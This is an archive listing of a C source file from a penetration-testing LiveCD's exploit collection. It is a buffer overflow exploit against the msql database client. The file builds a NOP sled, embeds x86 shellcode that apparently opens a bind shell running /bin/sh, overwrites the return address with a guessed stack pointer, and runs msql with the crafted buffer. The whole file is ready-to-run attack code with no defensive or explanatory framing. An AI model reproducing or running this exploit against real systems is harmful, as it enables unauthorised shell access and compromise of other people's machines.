home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / tsql.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  55 lines
  1. #include <unistd.h> 
  2. #include <stdio.h> 
  3. #include <stdlib.h>
  4. #include <fcntl.h>
  5.    
  6. #define MSQL_PATH "/usr/local/bin/msql"
  7. #define BUFFER_SIZE 999
  8. #define DEFAULT_OFFSET 0
  9.  
  10. #define NOP_SIZE 1
  11. char nop[] = "\x90";
  12. char shellcode[] = 
  13.   "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x4c\xeb\x4c\x5e\xb0\x02\x89"
  14.   "\x06\xfe\xc8\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb\xfe"
  15.   "\xc3\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66"
  16.   "\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10"
  17.   "\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66"
  18.   "\xb3\x04\xcd\x80\xeb\x04\xeb\x48\xeb\x4e\x31\xc0\x89\x46\x04\x89"
  19.   "\x46\x08\xb0\x66\xfe\xc3\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80"
  20.   "\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xc7\x06\x2f\x62"
  21.   "\x69\x6e\xc7\x46\x04\x2f\x73\x68\x21\x31\xc0\x88\x46\x07\x89\x76"
  22.   "\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  23.   "\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5f\xff\xff\xff";
  24.  
  25. unsigned long get_sp(void) {
  26.    __asm__("movl %esp,%eax");
  27. }
  28.    
  29. void main(int argc,char **argv)
  30. {
  31.    char *buff = NULL;
  32.    unsigned long *addr_ptr = NULL;
  33.    char *ptr = NULL;
  34.    int i,off = DEFAULT_OFFSET;
  35.  
  36.  
  37.    buff = malloc(2048);
  38.    ptr = buff;
  39.       
  40.    for (i = 0; i <= BUFFER_SIZE ;i+=NOP_SIZE) {
  41.         memcpy (ptr,nop,NOP_SIZE);
  42.         ptr+=NOP_SIZE; 
  43.    }
  44.  
  45.    for(i=0;i < strlen(shellcode);i++)
  46.       *(ptr++) = shellcode[i];
  47.    
  48.    addr_ptr = (long *)ptr;
  49.    for(i=0;i < (8/4);i++)
  50.       *(addr_ptr++) = get_sp()+off;
  51.    ptr = (char *)addr_ptr;
  52.    *ptr = 0;
  53.    printf("Using address: 0x%x\n", get_sp);
  54.    execl(MSQL_PATH, "msql",buff, NULL);
  55. }